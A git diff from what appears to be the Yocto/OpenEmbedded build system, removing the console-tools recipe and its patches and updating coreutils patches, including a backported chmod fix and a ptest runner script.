-MSGID_BUGS_ADDRESS =
-
-# This is the list of locale categories, beyond LC_MESSAGES, for which the
-# message catalogs shall be used. It is usually empty.
-EXTRA_LOCALE_CATEGORIES =
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/codepage.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/codepage.patch
deleted file mode 100644
index c287014767..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/codepage.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
-
---- console-tools-0.3.2/contrib/codepage.c~codepage
-+++ console-tools-0.3.2/contrib/codepage.c
-@@ -229,7 +229,7 @@
- return 0;
-
- fprintf(stderr, "\
--Warning: CP format is a hack!\n
-+Warning: CP format is a hack!\n\
- The files produced may or may not be usable!\n");
-
- sprintf(outfile, "%d.cp", CPEntryHeader.codepage);
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/compile.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/compile.patch
deleted file mode 100644
index c93f511950..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/compile.patch
+++ /dev/null
@@ -1,12 +0,0 @@
-Upstream-Status: Pending
-
---- console-tools-0.3.2/kbdtools/showkey.c~compile 1999-08-25 17:20:08.000000000 -0400
-+++ console-tools-0.3.2/kbdtools/showkey.c 2004-05-09 03:03:23.000000000 -0400
-@@ -264,7 +264,6 @@
- break;
- case cmd_keymap:
- printf(")\n");
-- default:
- }
- }
-
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/configure.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/configure.patch
deleted file mode 100644
index 15c100c908..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/configure.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-Upstream-Status: Pending
-
---- console-tools-0.3.2/configure.in~configure
-+++ console-tools-0.3.2/configure.in
-@@ -2,13 +2,14 @@
- dnl Process this file with autoconf to produce a configure script.
-
- # Initialize
--AC_INIT(kbdtools/loadkeys.y)
-+AC_INIT
-+AC_CONFIG_SRCDIR([kbdtools/loadkeys.y])
-
- define(ct_unicodedata_default,/usr/share/unidata/UnicodeData-2.txt)
- ct_localdatadir_default=/usr/local/share # iff --enable-localdatadir without specific dir
-
- #AC_CONFIG_AUX_DIR(autoconf)
--AC_CANONICAL_SYSTEM
-+AC_CANONICAL_TARGET([])
- AM_INIT_AUTOMAKE(console-tools, 0.3.2)
-
- # Defaults
-@@ -25,7 +26,6 @@
- # i18n stuff
- ALL_LINGUAS="cs de ru ga fr"
- AM_GNU_GETTEXT
--AC_OUTPUT_COMMANDS([sed -e "/POTFILES =/r po/POTFILES" po/Makefile.in > po/Makefile])
-
- AC_DEFINE_UNQUOTED(LOCALEDIR, "/usr/share/locale")
-
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/fix-libconsole-linking.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/fix-libconsole-linking.patch
deleted file mode 100644
index be61eb846b..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/fix-libconsole-linking.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Fix the following error detected with i586-pokymllib32-linux-gcc (the
-multilib x86-64 lib32 compiler):
- ../lib/ctutils/.libs/libctutils.so: undefined reference to `get_kernel_sfm'
- collect2: error: ld returned 1 exit status
-
-It seems that libctutils.so (the library that uses get_kernel_sfm) must
-be stated before libconsole.so (the library that exports the function) when
-using multilib gcc
-
-Upstream-Status: Pending
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
-Index: console-tools-0.3.2/fontfiletools/Makefile.am
-===================================================================
---- console-tools-0.3.2.orig/fontfiletools/Makefile.am
-+++ console-tools-0.3.2/fontfiletools/Makefile.am
-@@ -10,5 +10,5 @@ EXTRA_DIST = fonts2virfont.c virfont.h
-
- # libconsole is needed by ctutils
- LDADD = ../lib/ctlocal/libctlocal.a ../lib/cfont/libcfont.la \
-- ../lib/console/libconsole.la \
-- ../lib/ctutils/libctutils.la ../lib/generic/libctgeneric.la
-+ ../lib/ctutils/libctutils.la \
-+ ../lib/console/libconsole.la ../lib/generic/libctgeneric.la
-Index: console-tools-0.3.2/vttools/Makefile.am
-===================================================================
---- console-tools-0.3.2.orig/vttools/Makefile.am
-+++ console-tools-0.3.2/vttools/Makefile.am
-@@ -7,9 +7,9 @@ bin_PROGRAMS = chvt deallocvt writevt fg
- vcstime vt-is-UTF8 openvt @RESIZECONS@
- EXTRA_PROGRAMS = resizecons
-
--LDADD = ../lib/ctlocal/libctlocal.a ../lib/console/libconsole.la \
-+LDADD = ../lib/ctlocal/libctlocal.a ../lib/ctutils/libctutils.la \
- ../lib/cfont/libcfont.la \
-- ../lib/ctutils/libctutils.la ../lib/generic/libctgeneric.la
-+ ../lib/console/libconsole.la ../lib/generic/libctgeneric.la
-
- vcstime_LDADD = ../lib/ctlocal/libctlocal.a
- screendump_LDADD = ../lib/ctlocal/libctlocal.a
-Index: console-tools-0.3.2/kbdtools/Makefile.am
-===================================================================
---- console-tools-0.3.2.orig/kbdtools/Makefile.am
-+++ console-tools-0.3.2/kbdtools/Makefile.am
-@@ -15,9 +15,9 @@ EXTRA_PROGRAMS = getkeycodes setkeycodes
- loadkeys_SOURCES = loadkeys.y analyze.l
-
- YFLAGS = -d
--LDADD = ../lib/ctlocal/libctlocal.a ../lib/console/libconsole.la \
-+LDADD = ../lib/ctlocal/libctlocal.a ../lib/ctutils/libctutils.la \
- ../lib/cfont/libcfont.la \
-- ../lib/ctutils/libctutils.la ../lib/generic/libctgeneric.la
-+ ../lib/console/libconsole.la ../lib/generic/libctgeneric.la
-
- loadkeys_LDADD = $(LDADD) @LEXLIB@
-
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/kbdrate.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/kbdrate.patch
deleted file mode 100644
index f370be8592..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/kbdrate.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-Patch from Matthias Goebl <oe@m.goebl.net>
-Added via OE bugtracker: bug #478
-
-Upstream-Status: Pending
-
---- console-tools-0.3.2/kbdtools/kbd_mode.c.orig
-+++ console-tools-0.3.2/kbdtools/kbd_mode.c
-@@ -29,11 +29,16 @@
- OPT("-u --unicode ", _("UTF-8 mode (UNICODE)"));
- OPT("-s --scancode ", _("scancode mode (RAW)"));
- OPT(" --mode={8bit,keycode,unicode,scancode} ", _("set mode"));
-+ OPT("-r --rate=RATE ", _("set repeat rate (default: 33)"));
-+ OPT("-d --delay=DELAY ", _("set repeat delay (default: 250)"));
-
- OPT("-h --help ", HELPDESC);
- OPT("-V --version ", VERSIONDESC);
- }
-
-+int rate=-1;
-+int delay=-1;
-+
- static int parse_cmdline (int argc, char *argv[])
- {
- int mode = -1;
-@@ -46,11 +51,13 @@
- { "mode" , required_argument, NULL, 'm' },
- { "scancode" , no_argument, NULL, 's' },
- { "unicode" , no_argument, NULL, 'u' },
-+ { "rate" , required_argument, NULL, 'r' },
-+ { "delay" , required_argument, NULL, 'd' },
- { NULL, 0, NULL, 0 }
- };
- int c;
-
-- while ( (c = getopt_long (argc, argv, "Vhaksu", long_opts, NULL)) != EOF)
-+ while ( (c = getopt_long (argc, argv, "Vhaksur:d:", long_opts, NULL)) != EOF)
- switch (c) {
- case 'h':
- usage ();
-@@ -58,6 +65,14 @@
- case 'V':
- version ();
- exit(0);
-+ case 'r':
-+ rate = atoi(optarg);
-+ mode = -2;
-+ break;
-+ case 'd':
-+ delay = atoi(optarg);
-+ mode = -2;
-+ break;
- case 'a':
- mode = K_XLATE;
- break;
-@@ -129,6 +144,20 @@
- exit(0);
- }
-
-+ if ( rate != -1 || delay != -1 )
-+ {
-+ struct kbd_repeat kbd_rep;
-+ kbd_rep.delay = delay;
-+ kbd_rep.period = rate;
-+ if (ioctl(fd, KDKBDREP, &kbd_rep))
-+ {
-+ fprintf(stderr, progname);
-+ perror(_(": error setting keyboard repeat mode\n"));
-+ exit(1);
-+ }
-+ if(mode==-2) exit(0);
-+ }
-+
- if (ioctl(fd, KDSKBMODE, mode))
- {
- fprintf(stderr, progname);
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/lcmessage.m4 b/meta/recipes-core/console-tools/console-tools-0.3.2/lcmessage.m4
deleted file mode 100644
index 18d47a94f7..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/lcmessage.m4
+++ /dev/null
@@ -1,24 +0,0 @@
-# Check whether LC_MESSAGES is available in <locale.h>.
-# Ulrich Drepper <drepper@cygnus.com>, 1995.
-#
-# This file can be copied and used freely without restrictions. It can
-# be used in projects which are not available under the GNU General Public
-# License or the GNU Library General Public License but which still want
-# to provide support for the GNU gettext functionality.
-# Please note that the actual code of the GNU gettext library is covered
-# by the GNU Library General Public License, and the rest of the GNU
-# gettext package package is covered by the GNU General Public License.
-# They are *not* in the public domain.
-
-# serial 2
-
-AC_DEFUN([AM_LC_MESSAGES],
- [if test $ac_cv_header_locale_h = yes; then
- AC_CACHE_CHECK([for LC_MESSAGES], am_cv_val_LC_MESSAGES,
- [AC_TRY_LINK([#include <locale.h>], [return LC_MESSAGES],
- am_cv_val_LC_MESSAGES=yes, am_cv_val_LC_MESSAGES=no)])
- if test $am_cv_val_LC_MESSAGES = yes; then
- AC_DEFINE(HAVE_LC_MESSAGES, 1,
- [Define if your <locale.h> file defines LC_MESSAGES.])
- fi
- fi])
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/no-dep-on-libfl.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/no-dep-on-libfl.patch
deleted file mode 100644
index a6735a53ff..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/no-dep-on-libfl.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-No reason to link with libfl since 'loadkeys' implements
-its own yywrap()/yylex() functions.
-
-Upstream-Status: Pending
-Signed-off-by: Jacob Kroon <jacob.kroon@mikrodidakt.se>
-
-Index: console-tools-0.3.2/kbdtools/Makefile.am
-===================================================================
---- console-tools-0.3.2.orig/kbdtools/Makefile.am
-+++ console-tools-0.3.2/kbdtools/Makefile.am
-@@ -19,8 +19,6 @@ LDADD = ../lib/ctlocal/libctlocal.a ../l
- ../lib/cfont/libcfont.la \
- ../lib/console/libconsole.la ../lib/generic/libctgeneric.la
-
--loadkeys_LDADD = $(LDADD) @LEXLIB@
--
- bin_SCRIPTS = mk_modmap
-
- noinst_HEADERS = loadkeys.h
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/nodocs.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/nodocs.patch
deleted file mode 100644
index 2ed609219c..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/nodocs.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-The docs need tools we don't have to build so disable them.
-
-Also remove intl since the Makefile doesn't work with 3.82 and we
-don't want to build libintl anyway.
-
-Upstream-Status: Inappropriate [configuration]
-RP 2012/10/17
-
-Index: console-tools-0.3.2/Makefile.am
-===================================================================
---- console-tools-0.3.2.orig/Makefile.am 1999-04-15 01:33:24.000000000 +0000
-+++ console-tools-0.3.2/Makefile.am 2012-10-17 11:48:14.107069145 +0000
-@@ -1,7 +1,7 @@
- # -*- makefile -*-
- AUTOMAKE_OPTIONS = foreign
-
--SUBDIRS = lib fontfiletools vttools kbdtools screenfonttools contrib doc \
-- compat include examples po intl
-+SUBDIRS = lib fontfiletools vttools kbdtools screenfonttools contrib \
-+ compat include examples po
-
- EXTRA_DIST = BUGS RELEASE CREDITS COPYING.kbd local-scripts/* debian/* *.lsm
diff --git a/meta/recipes-core/console-tools/console-tools-0.3.2/uclibc-fileno.patch b/meta/recipes-core/console-tools/console-tools-0.3.2/uclibc-fileno.patch
deleted file mode 100644
index 0c95068a36..0000000000
--- a/meta/recipes-core/console-tools/console-tools-0.3.2/uclibc-fileno.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-Fixing the locale issues isn't enough, console-tools also does a couple of
-other pretty stupid things (like FILE *f; f->_fileno instead of fileno(f)),
-
-Upstream-Status: Pending
-
---- console-tools-0.3.2/lib/cfont/fontstruct.c.ark 2005-05-22 19:12:38.000000000 +0000
-+++ console-tools-0.3.2/lib/cfont/fontstruct.c 2005-05-22 19:13:23.000000000 +0000
-@@ -50,8 +50,7 @@
- * get filesize
- */
-
-- /* FIXME: should not use _fileno ! */
-- if (fstat(fontfile->_fileno, &stbuf) == -1)
-+ if (fstat(fileno(fontfile), &stbuf) == -1)
- goto rsf_return_error;
-
- if (S_ISREG(stbuf.st_mode))
-@@ -211,8 +210,7 @@
- * get filesize
- */
-
-- /* FIXME: should not use _fileno ! */
-- if (fstat(fontfile->_fileno, &stbuf) == -1)
-+ if (fstat(fileno(fontfile), &stbuf) == -1)
- goto rfg_return_error;
-
- if (S_ISREG(stbuf.st_mode))
---- console-tools-0.3.2/lib/console/acm.c.ark 2005-05-22 19:17:15.000000000 +0000
-+++ console-tools-0.3.2/lib/console/acm.c 2005-05-22 19:17:23.000000000 +0000
-@@ -30,7 +30,7 @@
- lct_boolean parse_failed = False;
- lct_boolean is_unicode;
-
-- if (fstat(fp->_fileno, &stbuf))
-+ if (fstat(fileno(fp), &stbuf))
- perror(_("Cannot stat ACM file")), exit(1);
-
- /* first try a wg15-charmap (glibc) file format */
---- console-tools-0.3.2/include/lct/local.h.ark 2005-05-22 19:08:54.000000000 +0000
-+++ console-tools-0.3.2/include/lct/local.h 2005-05-22 19:09:12.000000000 +0000
-@@ -8,7 +8,7 @@
- #include <locale.h>
-
-
--#ifdef HAVE_LOCALE_H
-+#if defined(HAVE_LOCALE_H) && defined(HAVE_LIBINTL_H)
- # include <libintl.h>
- # define _(String) gettext (String)
- # ifdef gettext_noop
diff --git a/meta/recipes-core/console-tools/console-tools_0.3.2.bb b/meta/recipes-core/console-tools/console-tools_0.3.2.bb
deleted file mode 100644
index ba44fbe60f..0000000000
--- a/meta/recipes-core/console-tools/console-tools_0.3.2.bb
+++ /dev/null
@@ -1,48 +0,0 @@
-SUMMARY = "Allows you to set-up and manipulate the Linux console"
-DESCRIPTION = "Provides tools that enable the set-up and manipulation of the linux console and console-font files."
-SECTION = "base"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING.kbd;md5=9b2d91511d3d80d4d20ac6e6b0137fe9"
-DEPENDS = "flex-native bison-native"
-PR = "r8"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/lct/console-tools-${PV}.tar.gz \
- file://codepage.patch \
- file://configure.patch \
- file://compile.patch \
- file://kbdrate.patch \
- file://uclibc-fileno.patch \
- file://nodocs.patch \
- file://fix-libconsole-linking.patch \
- file://no-dep-on-libfl.patch \
- file://0001-kbdtools-Include-sys-types.h-for-u_char-and-u_short-.patch \
- file://0001-Cover-the-else-with-__GLIBC__.patch \
- file://0001-Fix-format-security-compilation-error.patch \
- file://lcmessage.m4 \
- file://Makevars"
-
-SRC_URI[md5sum] = "bf21564fc38b3af853ef724babddbacd"
-SRC_URI[sha256sum] = "eea6b441672dacd251079fc85ed322e196282e0e66c16303ec64c3a2b1c126c2"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/lct/files/console-tools-devel/"
-UPSTREAM_CHECK_REGEX = "/console-tools-devel/(?P<pver>(\d\d?\.)+\d\d?)/"
-
-inherit autotools gettext update-alternatives
-
-CFLAGS_append_aarch64 = " -D_USE_TERMIOS "
-
-ASNEEDED = ""
-
-do_configure_prepend () {
- mkdir -p ${S}/m4
- cp ${WORKDIR}/lcmessage.m4 ${S}/m4/
- rm -f ${S}/acinclude.m4
- cp ${WORKDIR}/Makevars ${S}/po/
-}
-
-ALTERNATIVE_PRIORITY = "30"
-
-bindir_progs = "chvt deallocvt fgconsole openvt"
-ALTERNATIVE_${PN} = "${bindir_progs}"
-
-RDEPENDS_${PN} = "bash"
diff --git a/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch b/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch
deleted file mode 100644
index e68c213550..0000000000
--- a/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-Subject: revert inconsistent ls quoting
-
-This is a revert of upstream commit 109b9220cead6e979d22d16327c4d9f8350431cc.
-
-Bug-Debian: https://bugs.debian.org/813164
-
-Upstream-Status: Submitted
-
-Originally-by: Adam Borowski <kilobyte@angband.pl>
-[PG: patch from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=813164#78 ]
-Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
-
----
-
---- coreutils-8.25.orig/NEWS
-+++ coreutils-8.25/NEWS
-@@ -71,9 +71,6 @@ GNU coreutils NEWS
- df now prefers sources towards the root of a device when
- eliding duplicate bind mounted entries.
-
-- ls now quotes file names unambiguously and appropriate for use in a shell,
-- when outputting to a terminal.
--
- join, sort, uniq with --zero-terminated, now treat '\n' as a field delimiter.
-
- ** Improvements
---- coreutils-8.25.orig/doc/coreutils.texi
-+++ coreutils-8.25/doc/coreutils.texi
-@@ -7750,8 +7750,8 @@ this"} in the default C locale. This lo
-
- You can specify the default value of the @option{--quoting-style} option
- with the environment variable @env{QUOTING_STYLE}@. If that environment
--variable is not set, the default value is @samp{shell-escape} when the
--output is a terminal, and @samp{literal} otherwise.
-+variable is not set, the default value is @samp{literal}, but this
-+default may change to @samp{shell} in a future version of this package.
-
- @item --show-control-chars
- @opindex --show-control-chars
---- coreutils-8.25.orig/src/ls.c
-+++ coreutils-8.25/src/ls.c
-@@ -1581,7 +1581,6 @@ decode_switches (int argc, char **argv)
- if (isatty (STDOUT_FILENO))
- {
- format = many_per_line;
-- set_quoting_style (NULL, shell_escape_quoting_style);
- /* See description of qmark_funny_chars, above. */
- qmark_funny_chars = true;
- }
diff --git a/meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch b/meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch
new file mode 100644
index 0000000000..d69ee95e4a
--- /dev/null
+++ b/meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch
@@ -0,0 +1,93 @@
+From e8b56ebd536e82b15542a00c888109471936bfda Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?P=C3=A1draig=20Brady?= <P@draigBrady.com>
+Date: Fri, 24 Sep 2021 20:57:41 +0100
+Subject: [PATCH] chmod: fix exit status when ignoring symlinks
+
+* src/chmod.c: Reorder enum so CH_NOT_APPLIED
+can be treated as a non error.
+* tests/chmod/ignore-symlink.sh: A new test.
+* tests/local.mk: Reference the new test.
+* NEWS: Mention the bug fix.
+Fixes https://bugs.gnu.org/50784
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ src/chmod.c | 4 ++--
+ tests/chmod/ignore-symlink.sh | 31 +++++++++++++++++++++++++++++++
+ tests/local.mk | 1 +
+ 4 files changed, 40 insertions(+), 2 deletions(-)
+ create mode 100755 tests/chmod/ignore-symlink.sh
+
+diff --git a/src/chmod.c b/src/chmod.c
+index 37b04f500..57ac47f33 100644
+--- a/src/chmod.c
++++ b/src/chmod.c
+@@ -44,8 +44,8 @@ struct change_status
+ enum
+ {
+ CH_NO_STAT,
+- CH_NOT_APPLIED,
+ CH_FAILED,
++ CH_NOT_APPLIED,
+ CH_NO_CHANGE_REQUESTED,
+ CH_SUCCEEDED
+ }
+@@ -322,7 +322,7 @@ process_file (FTS *fts, FTSENT *ent)
+ if ( ! recurse)
+ fts_set (fts, ent, FTS_SKIP);
+
+- return CH_NO_CHANGE_REQUESTED <= ch.status;
++ return CH_NOT_APPLIED <= ch.status;
+ }
+
+ /* Recursively change the modes of the specified FILES (the last entry
+diff --git a/tests/chmod/ignore-symlink.sh b/tests/chmod/ignore-symlink.sh
+new file mode 100755
+index 000000000..5ce3de816
+--- /dev/null
++++ b/tests/chmod/ignore-symlink.sh
+@@ -0,0 +1,31 @@
++#!/bin/sh
++# Test for proper exit code of chmod on a processed symlink.
++
++# Copyright (C) 2021 Free Software Foundation, Inc.
++
++# This program is free software: you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation, either version 3 of the License, or
++# (at your option) any later version.
++
++# This program is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <https://www.gnu.org/licenses/>.
++
++. "${srcdir=.}/tests/init.sh"; path_prepend_ ./src
++print_ver_ chmod
++
++mkdir dir || framework_failure_
++touch dir/f || framework_failure_
++ln -s f dir/l || framework_failure_
++
++# This operation ignores symlinks but should succeed.
++chmod u+w -R dir 2> out || fail=1
++
++compare /dev/null out || fail=1
++
++Exit $fail
+diff --git a/tests/local.mk b/tests/local.mk
+index 228d0e368..b5b893fb7 100644
+--- a/tests/local.mk
++++ b/tests/local.mk
+@@ -456,6 +456,7 @@ all_tests = \
+ tests/chmod/c-option.sh \
+ tests/chmod/equal-x.sh \
+ tests/chmod/equals.sh \
++ tests/chmod/ignore-symlink.sh \
+ tests/chmod/inaccessible.sh \
+ tests/chmod/octal.sh \
+ tests/chmod/setgid.sh \
diff --git a/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch b/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
index 9d1ae55d47..4f126ad67c 100644
--- a/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
+++ b/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
@@ -1,4 +1,4 @@
-From a1d360509fa3a4aff57eedcd528cc0347a87531d Mon Sep 17 00:00:00 2001
+From b04363018b4b9b45fdf23384f30d02caa5564602 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Tue, 16 Sep 2014 01:59:08 -0700
Subject: [PATCH] gnulib-comp.m4: selinux/flask.h should respect to
@@ -13,27 +13,25 @@ compilation terminated.
Upstream-Status: Pending
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+
---
- m4/gnulib-comp.m4 | 2 +-
+ m4/gnulib-comp.m4 | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/m4/gnulib-comp.m4 b/m4/gnulib-comp.m4
-index 472d3a0..5f09734 100644
+index 3857233..c01fb30 100644
--- a/m4/gnulib-comp.m4
+++ b/m4/gnulib-comp.m4
-@@ -1730,11 +1730,11 @@ AC_DEFUN([gl_INIT],
+@@ -1953,11 +1953,11 @@ AC_DEFUN([gl_INIT],
AC_LIBOBJ([select])
fi
gl_SYS_SELECT_MODULE_INDICATOR([select])
- AC_CHECK_HEADERS([selinux/flask.h])
- AC_LIBOBJ([selinux-at])
gl_HEADERS_SELINUX_SELINUX_H
gl_HEADERS_SELINUX_CONTEXT_H
+ gl_HEADERS_SELINUX_LABEL_H
if test "$with_selinux" != no && test "$ac_cv_header_selinux_selinux_h" = yes; then
+ AC_CHECK_HEADERS([selinux/flask.h])
AC_LIBOBJ([getfilecon])
fi
gl_SERVENT
---
-1.7.9.5
-
diff --git a/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch b/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch
index 2ef8a548ac..1a8a9b9983 100644
--- a/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch
+++ b/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch
@@ -1,3 +1,8 @@
+From a26530083a29eeee910bfd606ecc621acecd547a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 3 Aug 2011 14:12:30 -0700
+Subject: [PATCH] coreutils: Fix build on uclibc
+
We have problem using hardcoded directories like /usr/local here
which will be checked for cross builds. This is a special case which
is valid for AIX only. We do not have AIX as one of our supported
@@ -8,11 +13,15 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Inappropriate [Upstream does care for AIX while we may not]
-Index: coreutils-8.14/m4/getloadavg.m4
-===================================================================
---- coreutils-8.14.orig/m4/getloadavg.m4 2011-09-19 08:09:24.000000000 -0700
-+++ coreutils-8.14/m4/getloadavg.m4 2011-10-19 21:42:00.385533357 -0700
-@@ -41,16 +41,6 @@
+---
+ m4/getloadavg.m4 | 12 ------------
+ 1 file changed, 12 deletions(-)
+
+diff --git a/m4/getloadavg.m4 b/m4/getloadavg.m4
+index 8e96965..63782a2 100644
+--- a/m4/getloadavg.m4
++++ b/m4/getloadavg.m4
+@@ -41,18 +41,6 @@ AC_CHECK_FUNC([getloadavg], [],
[LIBS="-lutil $LIBS" gl_func_getloadavg_done=yes])
fi
@@ -20,7 +29,9 @@ Index: coreutils-8.14/m4/getloadavg.m4
- # There is a commonly available library for RS/6000 AIX.
- # Since it is not a standard part of AIX, it might be installed locally.
- gl_getloadavg_LIBS=$LIBS
-- LIBS="-L/usr/local/lib $LIBS"
+- if test $cross_compiling != yes; then
+- LIBS="-L/usr/local/lib $LIBS"
+- fi
- AC_CHECK_LIB([getloadavg], [getloadavg],
- [LIBS="-lgetloadavg $LIBS" gl_func_getloadavg_done=yes],
- [LIBS=$gl_getloadavg_LIBS])
diff --git a/meta/recipes-core/coreutils/coreutils/run-ptest b/meta/recipes-core/coreutils/coreutils/run-ptest
new file mode 100755
index 0000000000..6d4a7b365d
--- /dev/null
+++ b/meta/recipes-core/coreutils/coreutils/run-ptest
@@ -0,0 +1,17 @@
+#!/bin/sh
+
+# remove any stale lock files so that the calls to groupadd/useradd don't stop
+# the ptest if re-using the same image
+rm -rf /etc/passwd.lock /etc/group.lock /etc/gshadow.lock
+
+COREUTILSLIB=@libdir@/coreutils
+LOG="${COREUTILSLIB}/ptest/coreutils_ptest_$(date +%Y%m%d-%H%M%S).log"
+USERNAME="tester"
+groupadd ugroup1
+groupadd ugroup2
+useradd -G ugroup1,ugroup2 $USERNAME || echo "user $USERNAME already exists"
+
+su tester -c "cd ${COREUTILSLIB}/ptest && make check-TESTS top_srcdir=. srcdir=." 2>&1 | tee -a ${LOG}
+userdel $USERNAME
+groupdel ugroup1
+groupdel ugroup2
diff --git a/meta/recipes-core/coreutils/coreutils/strtod_fix_clash_with_strtold.patch b/meta/recipes-core/coreutils/coreutils/strtod_fix_clash_with_strtold.patch
deleted file mode 100644
index 77770093cd..0000000000
--- a/meta/recipes-core/coreutils/coreutils/strtod_fix_clash_with_strtold.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 0562b040fa17f1722ba2b3096067b45d0582ca53 Mon Sep 17 00:00:00 2001
-From: Paul Eggert <eggert@cs.ucla.edu>
-Date: Mon, 11 Mar 2019 16:40:29 -0700
-Subject: [PATCH] strtod: fix clash with strtold
-
-Problem reported for RHEL 5 by Jesse Caldwell (Bug#34817).
-* lib/strtod.c (compute_minus_zero, minus_zero):
-Simplify by remving the macro / external variable,
-and having just a function. User changed. This avoids
-the need for an external variable that might clash.
-
-Upstream-Status: Backport [rhel5]
-
-Signed-off-by: Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>
-
----
- ChangeLog | 9 +++++++++
- lib/strtod.c | 11 +++++------
- 2 files changed, 14 insertions(+), 6 deletions(-)
-
-diff --git a/lib/strtod.c b/lib/strtod.c
-index b9eaa51b4..69b1564e1 100644
---- a/lib/strtod.c
-+++ b/lib/strtod.c
-@@ -294,16 +294,15 @@ parse_number (const char *nptr,
- ICC 10.0 has a bug when optimizing the expression -zero.
- The expression -MIN * MIN does not work when cross-compiling
- to PowerPC on Mac OS X 10.5. */
--#if defined __hpux || defined __sgi || defined __ICC
- static DOUBLE
--compute_minus_zero (void)
-+minus_zero (void)
- {
-+#if defined __hpux || defined __sgi || defined __ICC
- return -MIN * MIN;
--}
--# define minus_zero compute_minus_zero ()
- #else
--DOUBLE minus_zero = -0.0;
-+ return -0.0;
- #endif
-+}
-
- /* Convert NPTR to a DOUBLE. If ENDPTR is not NULL, a pointer to the
- character after the last one used in the number is put in *ENDPTR. */
-@@ -479,6 +478,6 @@ STRTOD (const char *nptr, char **endptr)
- /* Special case -0.0, since at least ICC miscompiles negation. We
- can't use copysign(), as that drags in -lm on some platforms. */
- if (!num && negative)
-- return minus_zero;
-+ return minus_zero ();
- return negative ? -num : num;
- }
---
-2.20.1
-
diff --git a/meta/recipes-core/coreutils/coreutils_8.31.bb b/meta/recipes-core/coreutils/coreutils_8.31.bb
deleted file mode 100644
index 57b2c1bdba..0000000000
--- a/meta/recipes-core/coreutils/coreutils_8.31.bb
+++ /dev/null
@@ -1,145 +0,0 @@
-SUMMARY = "The basic file, shell and text manipulation utilities"
-DESCRIPTION = "The GNU Core Utilities provide the basic file, shell and text \
-manipulation utilities. These are the core utilities which are expected to exist on \
-every system."
-HOMEPAGE = "http://www.gnu.org/software/coreutils/"
-BUGTRACKER = "http://debbugs.gnu.org/coreutils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://src/ls.c;beginline=1;endline=15;md5=c456f9896277a0543e3866777ccc0255"
-DEPENDS = "gmp libcap"
-DEPENDS_class-native = ""
-
-inherit autotools gettext texinfo
-
-SRC_URI = "${GNU_MIRROR}/coreutils/${BP}.tar.xz \
- file://remove-usr-local-lib-from-m4.patch \
- file://fix-selinux-flask.patch \
